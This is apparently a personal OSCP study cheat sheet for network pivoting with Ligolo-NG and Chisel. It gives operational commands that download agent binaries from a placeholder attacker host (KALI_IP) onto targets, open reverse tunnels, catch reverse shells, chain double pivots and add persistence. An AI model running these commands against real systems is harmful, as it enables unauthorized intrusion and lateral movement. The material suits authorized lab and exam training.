Ligolo-NG Quick Reference

Binaries: ~/Tools/ligolo-ng/ (proxy=linux-arm64, agents=linux-amd64 + windows-amd64)


1 — Setup (Kali — must redo every reboot)

# Create TUN interface (resets every reboot)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Start proxy (ALWAYS set -api-laddr to avoid port conflict with BloodHound)
~/Tools/ligolo-ng/proxy -selfcert -laddr 0.0.0.0:11601 -api-laddr 127.0.0.1:8443

-selfcert = auto-generate TLS cert. Agent uses -ignore-cert to accept it. -api-laddr = moves the Ligolo web UI off port 8080 (BloodHound uses 8080).

⚠️ Port conflict warning: Newer Ligolo-NG has a web dashboard that defaults to port 8080. Without -api-laddr, it hijacks BloodHound’s port.

Port assignments (memorize):

ToolPort
BloodHound CE8080
Burp Suite8081 (change from default 8080 in Burp settings)
Ligolo proxy listener11601
Ligolo dashboard8443 (set with -api-laddr)

If you need to restart Ligolo mid-session:

  1. Note the agent command on the target
  2. Ctrl+C the proxy on Kali
  3. Restart with the same command above
  4. Re-run agent on target — it reconnects
  5. In Ligolo console: session → select → start
  6. Routes persist (already added) — verify with ping

⚠️ OSCP labs reset daily. Every morning you must: create tun interface → start proxy → re-upload agent → reconnect → re-add routes. Save your setup commands in a script.


2 — Upload Agent to Target

Windows

# certutil (AV may flag — try alternatives if blocked)
certutil -urlcache -f http://KALI_IP/agent.exe C:\Windows\Temp\agent.exe

# PowerShell
iwr http://KALI_IP/agent.exe -OutFile C:\Windows\Temp\agent.exe

# SMB (no disk write — runs from share)
copy \\KALI_IP\share\agent.exe C:\Windows\Temp\agent.exe

Linux

wget http://KALI_IP/agent -O /tmp/agent && chmod +x /tmp/agent
# or
curl http://KALI_IP/agent -o /tmp/agent && chmod +x /tmp/agent

Serve files from Kali

# Python HTTP server (simple)
cd ~/Tools/ligolo-ng && python3 -m http.server 80

# SMB share (better for Windows — avoids AMSI/AV on download)
impacket-smbserver share ~/Tools/ligolo-ng -smb2support

3 — Connect Agent

# Windows
C:\Windows\Temp\agent.exe -connect KALI_IP:11601 -ignore-cert

# Linux
/tmp/agent -connect KALI_IP:11601 -ignore-cert

Back on the proxy console you’ll see the agent check in.


4 — Routing (Access Internal Subnet)

# In ligolo proxy console:
session                           # pick the agent session (by number)
ifconfig                          # check target's interfaces — find internal subnet
start                             # activate the tunnel on the ligolo TUN

# On Kali (new terminal):
sudo ip route add $TARGET/24 dev ligolo
# Replace with the actual internal subnet from ifconfig output
# ⚠️ Use /24 — a typo like /2 will break routing silently

Now all Kali tools (nmap, netexec, evil-winrm, etc.) work against $TARGET/24 as if directly connected.

# Verify
ping -c1 $TARGET
netexec smb $TARGET/24

5 — Listener (Reverse Shells from Internal Machines)

Internal machines can’t reach Kali directly. Use ligolo listeners to forward ports through the pivot.

# In ligolo proxy console (on the active session):
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 --tcp      # for serving files
listener_add --addr 0.0.0.0:443 --to 127.0.0.1:443 --tcp     # alt port

# List active listeners
listener_list

# Remove a listener
listener_stop <id>

How it works: Internal target connects to PIVOT_HOST:4444 → ligolo forwards to KALI:4444.

# On Kali — start your listener as normal
nc -lvnp 4444

# On internal target — point shell at the PIVOT host (not Kali)
# PowerShell reverse shell example:
powershell -e <BASE64_PAYLOAD_POINTING_TO_PIVOT_IP:4444>

The internal machine thinks it’s talking to the pivot host. Ligolo tunnels it back to Kali.

Fallback: Chisel (when listener_add fails or there’s no pivot)

Use chisel when: target is directly reachable (no pivot needed), one-shot RCE can’t keep ligolo agent alive (Text4Shell, etc.), or target’s egress is filtered to 80/443.

# === STEP 1: Kali — start chisel server ===
~/Tools/chisel server -p 8000 --reverse
# Use -p 80 or -p 443 if egress is filtered

# === STEP 2: Target — upload chisel binary ===
wget http://KALI_IP/chisel -O /tmp/chisel && chmod +x /tmp/chisel
# Windows: certutil -urlcache -f http://KALI_IP/chisel.exe C:\Windows\Temp\chisel.exe

# === STEP 3: Target — connect client (pick ONE spec) ===
./chisel client KALI_IP:8000 R:socks                       # SOCKS proxy on Kali:1080
./chisel client KALI_IP:8000 R:4444:127.0.0.1:4444         # catch reverse shell on Kali:4444
./chisel client KALI_IP:8000 R:9999:127.0.0.1:8080         # expose target's localhost:8080 → Kali:9999

For one-shot RCE (Runtime.exec doesn’t parse shell — wrap it):

bash -c "nohup /tmp/chisel client KALI_IP:8000 R:4444:127.0.0.1:4444 >/dev/null 2>&1 &"

Spec format: R:<kali_port>:<target_host>:<target_port>. R: reverses direction — client connects, port opens on Kali.


6 — Double Pivot (Two Hops Deep)

Scenario: Kali → Host A (DMZ) → Host B (internal) → Host C (deeper subnet)

Step 1: First pivot (Kali → Host A)

# Already done: agent on Host A connected, route to internal subnet added
sudo ip route add $TARGET/24 dev ligolo      # Host B's subnet

Step 2: Upload agent to Host B through the tunnel

# Serve agent on Kali
python3 -m http.server 80

# Add listener so Host B can reach Kali's HTTP server through Host A
# In ligolo console (session = Host A):
listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 --tcp

# On Host B (via evil-winrm or shell through first tunnel):
wget http://HOST_A_INTERNAL_IP/agent -O /tmp/agent && chmod +x /tmp/agent

Step 3: Agent on Host B needs to reach Kali proxy

# Add listener on Host A to forward ligolo port back to Kali
# In ligolo console (session = Host A):
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

# On Host B — connect agent through Host A
/tmp/agent -connect HOST_A_INTERNAL_IP:11601 -ignore-cert

Step 4: Route the deeper subnet

# New session appears in proxy console — select it
session                           # pick Host B's session

# Create second TUN interface
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo2 up

# Start tunnel on the new interface
start --tun ligolo2

# Add route to deeper subnet
sudo ip route add $TARGET/24 dev ligolo2

Now Kali tools reach $TARGET/24 through both hops.

For reverse shells from the deepest subnet, chain listeners on both Host B and Host A.


Troubleshooting

ProblemFix
Agent connects but yamux keeps dyingReset the TARGET box — old zombie agent processes from previous sessions can interfere even after taskkill. If that fails, restart the proxy on Kali
Agent won’t connect at allCheck firewall on pivot, verify port 11601 is open, try -retry flag
“Device for nexthop is not up”Tun interface doesn’t exist yet — run sudo ip tuntap add + ip link set up FIRST
Route add “Invalid prefix”Check CIDR — /24 not /2 or /254
Route added but no connectivityConfirm start was run in proxy console; check ip route on Kali
Tools timeout through tunnelSome tools need longer timeouts; nmap: -T3 --max-retries 2
Multiple subnets on one pivotAdd multiple routes to the same ligolo interface
DNS resolution through tunnelAdd internal DNS to /etc/resolv.conf or use IPs directly
Agent dies on rebootRun agent as service or scheduled task for persistence

OSCP Exam Checklist

[ ] TUN interface created: sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up
[ ] Proxy running: ~/Tools/ligolo-ng/proxy -selfcert -laddr 0.0.0.0:11601 -api-laddr 127.0.0.1:8443
[ ] Agent uploaded and connected from first pivot
[ ] Internal subnet route added (double-check /24 not typo)
[ ] Listener set up for reverse shells (port 4444 + port 80)
[ ] Verified connectivity: ping or netexec sweep of internal subnet
[ ] If double pivot needed: second TUN (ligolo2), second agent, chained listeners
[ ] Burp moved to 8081 (not conflicting with BloodHound 8080)